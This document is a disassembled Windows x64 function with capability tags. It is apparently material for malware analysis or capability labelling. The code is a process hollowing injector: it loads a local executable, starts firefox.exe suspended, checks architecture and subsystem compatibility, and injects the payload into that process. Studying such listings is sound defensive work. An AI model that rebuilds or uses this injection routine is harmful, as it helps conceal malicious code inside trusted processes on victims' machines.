Function at 0x1400112cb
Capabilities:
Create process on windows
Create process suspended
Terminate process

Disassembly:
jmp 0x1400147f0
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rsi
push rdi
sub rsp, 0x510
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0xd0
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x538]
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x4b8], rax
lea rcx, [0x1400280a6]
call fcn.14001140b
nop
lea rax, [rbp + 8]
lea rcx, str.C:Users_funnyDownloadsWrRPREY464.exe
mov rdi, rax
mov rsi, rcx
mov ecx, 0x28
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x48]
lea rcx, str.C:Program_FilesMozilla_Firefox_firefox.exe
mov rdi, rax
mov rsi, rcx
mov ecx, 0x2d
rep movsb byte [rdi], byte [rsi]
lea rcx, str._PROCESS_HOLLOWING__n
call fcn.1400111d6
nop
lea rcx, [rbp + 8]
call fcn.140011302
mov qword [rbp + 0x98], rax
cmp qword [rbp + 0x98], 0
jne 0x14001489f
mov eax, 0xffffffff
jmp 0x140014f2b
mov rdx, qword [rbp + 0x98]
lea rcx, str.___PE_file_content_:_0x_p_n
call fcn.1400111d6
nop
mov rcx, qword [rbp + 0x98]
call fcn.1400113e8
mov dword [rbp + 0xb4], eax
cmp dword [rbp + 0xb4], 0
jne 0x140014908
lea rcx, str.____The_PE_file_is_not_valid___n
call fcn.1400111d6
nop
cmp qword [rbp + 0x98], 0
je 0x1400148fe
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rbp + 0x98]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
nop
mov eax, 0xffffffff
jmp 0x140014f2b
lea rcx, str.___The_PE_file_is_valid._n
call fcn.1400111d6
nop
mov r8d, 0x68
xor edx, edx
lea rcx, [rbp + 0xe0]
call fcn.14001132f
nop
mov dword [rbp + 0xe0], 0x68
mov r8d, 0x18
xor edx, edx
lea rcx, [rbp + 0x168]
call fcn.14001132f
nop
lea rax, [rbp + 0x168]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0xe0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [rbp + 0x194], eax
cmp dword [rbp + 0x194], 0
jne 0x1400149cf
lea rcx, str.____An_error_is_occured_when_trying_to_create_the_target_process___n
call fcn.1400111d6
nop
mov rdx, qword [rbp + 0x98]
lea rcx, [rbp + 0x168]
call fcn.1400110f5
nop
mov eax, 0xffffffff
jmp 0x140014f2b
lea rdx, [rbp + 0x1b4]
mov rcx, qword [rbp + 0x168]
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
nop
mov qword [rbp + 0x1d8], 0
mov qword [rbp + 0x1e0], 0
cmp dword [rbp + 0x1b4], 0
je 0x140014a8d
lea rdx, [rbp + 0x168]
lea rcx, [rbp + 0x438]
call fcn.1400111f4
lea rcx, [rbp + 0x408]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x1d8]
lea rcx, [rbp + 0x408]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
cmp qword [rbp + 0x1e0], 0
je 0x140014a5d
cmp qword [rbp + 0x1d8], 0
jne 0x140014a88
lea rcx, str.____An_error_is_occured_when_trying_to_get_the_image_base_address_of_the_target_process___n
call fcn.1400111d6
nop
mov rdx, qword [rbp + 0x98]
lea rcx, [rbp + 0x168]
call fcn.1400110f5
nop
mov eax, 0xffffffff
jmp 0x140014f2b
jmp 0x140014b0e
lea rdx, [rbp + 0x168]
lea rcx, [rbp + 0x498]
call fcn.14001114a
lea rcx, [rbp + 0x468]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x1d8]
lea rcx, [rbp + 0x468]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
cmp qword [rbp + 0x1e0], 0
je 0x140014ae3
cmp qword [rbp + 0x1d8], 0
jne 0x140014b0e
lea rcx, str.____An_error_is_occured_when_trying_to_get_the_image_base_address_of_the_target_process___n
call fcn.1400111d6
nop
mov rdx, qword [rbp + 0x98]
lea rcx, [rbp + 0x168]
call fcn.1400110f5
nop
mov eax, 0xffffffff
jmp 0x140014f2b
mov rdx, qword [rbp + 0x1d8]
lea rcx, str.___Target_Process_PEB_:_0x_p_n
call fcn.1400111d6
nop
mov rdx, qword [rbp + 0x1e0]
lea rcx, str.___Target_Process_Image_Base_:_0x_p_n
call fcn.1400111d6
nop
mov rcx, qword [rbp + 0x98]
call fcn.1400113d9
mov dword [rbp + 0x204], eax
cmp dword [rbp + 0x204], 0
je 0x140014b60
lea rcx, str.___Source_PE_Image_architecture_:_x86_n
call fcn.1400111d6
nop
jmp 0x140014b6d
lea rcx, str.___Source_PE_Image_architecture_:_x64_n
call fcn.1400111d6
nop
cmp dword [rbp + 0x1b4], 0
je 0x140014b85
lea rcx, str.___Target_PE_Image_architecture_:_x86_n
call fcn.1400111d6
nop
jmp 0x140014b92
lea rcx, str.___Target_PE_Image_architecture_:_x64_n
call fcn.1400111d6
nop
cmp dword [rbp + 0x204], 0
je 0x140014ba4
cmp dword [rbp + 0x1b4], 0
jne 0x140014bb6
cmp dword [rbp + 0x204], 0
jne 0x140014bc5
cmp dword [rbp + 0x1b4], 0
jne 0x140014bc5
lea rcx, str.___Architecture_are_compatible___n
call fcn.1400111d6
nop
jmp 0x140014bdc
lea rcx, str.____Architecture_are_not_compatible___n
call fcn.1400111d6
nop
mov eax, 0xffffffff
jmp 0x140014f2b
cmp dword [rbp + 0x204], 0
je 0x140014bf9
mov rcx, qword [rbp + 0x98]
call fcn.140011041
mov dword [rbp + 0x224], eax
jmp 0x140014c0b
mov rcx, qword [rbp + 0x98]
call fcn.1400110a0
mov dword [rbp + 0x224], eax
cmp dword [rbp + 0x224], 0xffffffff
jne 0x140014c3f
lea rcx, str.____An_error_is_occured_when_trying_to_get_the_subsytem_of_the_source_image._n
call fcn.1400111d6
nop
mov rdx, qword [rbp + 0x98]
lea rcx, [rbp + 0x168]
call fcn.1400110f5
nop
mov eax, 0xffffffff
jmp 0x140014f2b
mov edx, dword [rbp + 0x224]
lea rcx, str.___Source_Image_subsystem_:_0x_X_n
call fcn.1400111d6
nop
cmp dword [rbp + 0x1b4], 0
je 0x140014c76
mov rdx, qword [rbp + 0x1e0]
mov rcx, qword [rbp + 0x168]
call fcn.1400112d5
mov dword [rbp + 0x244], eax
jmp 0x140014c8f
mov rdx, qword [rbp + 0x1e0]
mov rcx, qword [rbp + 0x168]
call fcn.14001142e
mov dword [rbp + 0x244], eax
cmp dword [rbp + 0x244], 0xffffffff
jne 0x140014cc3
lea rcx, str.____An_error_is_occured_when_trying_to_get_the_subsytem_of_the_target_process._n
call fcn.1400111d6
nop
mov rdx, qword [rbp + 0x98]
lea rcx, [rbp + 0x168]
call fcn.1400110f5
nop
mov eax, 0xffffffff
jmp 0x140014f2b
mov edx, dword [rbp + 0x244]
lea rcx, str.___Target_Process_subsystem_:_0x_X_n
call fcn.1400111d6
nop
mov eax, dword [rbp + 0x244]
cmp dword [rbp + 0x224], eax
jne 0x140014cf3
lea rcx, str.___Subsytems_are_compatible._n
call fcn.1400111d6
nop
jmp 0x140014d1e
lea rcx, str.____Subsytems_are_not_compatible._n
call fcn.1400111d6
nop
mov rdx, qword [rbp + 0x98]
lea rcx, [rbp + 0x168]
call fcn.1400110f5
nop
mov eax, 0xffffffff
jmp 0x140014f2b
cmp dword [rbp + 0x204], 0
je 0x140014d3b
mov rcx, qword [rbp + 0x98]
call fcn.1400113c5
mov dword [rbp + 0x264], eax
jmp 0x140014d4d
mov rcx, qword [rbp + 0x98]
call fcn.140011195
mov dword [rbp + 0x264], eax
cmp dword [rbp + 0x264], 0
jne 0x140014d65
lea rcx, str.___The_source_image_doesnt_have_a_relocation_table._n
call fcn.1400111d6
nop
jmp 0x140014d72
lea rcx, str.___The_source_image_has_a_relocation_table._n
call fcn.1400111d6
nop
cmp dword [rbp + 0x204], 0
je 0x140014dc3
cmp dword [rbp + 0x264], 0
jne 0x140014dc3
mov rdx, qword [rbp + 0x98]
lea rcx, [rbp + 0x168]
call fcn.140011190
test eax, eax
je 0x140014dc3
lea rcx, str.___The_injection_has_succeed___n
call fcn.1400111d6
nop
mov rdx, qword [rbp + 0x98]
lea rcx, [rbp + 0x168]
call fcn.1400111ae
nop
xor eax, eax
jmp 0x140014f2b
cmp dword [rbp + 0x204], 0
je 0x140014e14
cmp dword [rbp + 0x264], 0
je 0x140014e14
mov rdx, qword [rbp + 0x98]
lea rcx, [rbp + 0x168]
call fcn.14001111d
test eax, eax
je 0x140014e14
lea rcx, str.___The_injection_has_succeed___n
call fcn.1400111d6
nop
mov rdx, qword [rbp + 0x98]
lea rcx, [rbp + 0x168]
call fcn.1400111ae
nop
xor eax, eax
jmp 0x140014f2b
cmp dword [rbp + 0x204], 0
jne 0x140014e65
cmp dword [rbp + 0x264], 0
jne 0x140014e65
mov rdx, qword [rbp + 0x98]
lea rcx, [rbp + 0x168]
call fcn.14001107d
test eax, eax
je 0x140014e65
lea rcx, str.___The_injection_has_succeed___n
call fcn.1400111d6
nop
mov rdx, qword [rbp + 0x98]
lea rcx, [rbp + 0x168]
call fcn.1400111ae
nop
xor eax, eax
jmp 0x140014f2b
cmp dword [rbp + 0x204], 0
jne 0x140014eb3
cmp dword [rbp + 0x264], 0
je 0x140014eb3
mov rdx, qword [rbp + 0x98]
lea rcx, [rbp + 0x168]
call fcn.140011235
test eax, eax
je 0x140014eb3
lea rcx, str.___The_injection_has_succeed___n
call fcn.1400111d6
nop
mov rdx, qword [rbp + 0x98]
lea rcx, [rbp + 0x168]
call fcn.1400111ae
nop
xor eax, eax
jmp 0x140014f2b
lea rcx, str.____The_injection_has_failed___n
call fcn.1400111d6
nop
cmp qword [rbp + 0x98], 0
je 0x140014ee3
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rbp + 0x98]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
nop
cmp qword [rbp + 0x170], 0
je 0x140014efb
mov rcx, qword [rbp + 0x170]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
cmp qword [rbp + 0x168], 0
je 0x140014f26
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x168]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
mov rcx, qword [rbp + 0x168]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov eax, 0xffffffff
mov rdi, rax
lea rcx, [rbp - 0x50]
lea rdx, [0x14001e570]
call fcn.140011393
mov rax, rdi
mov rcx, qword [rbp + 0x4b8]
xor rcx, rbp
call fcn.1400111ef
lea rsp, [rbp + 0x4c0]
pop rdi
pop rsi
pop rbp
ret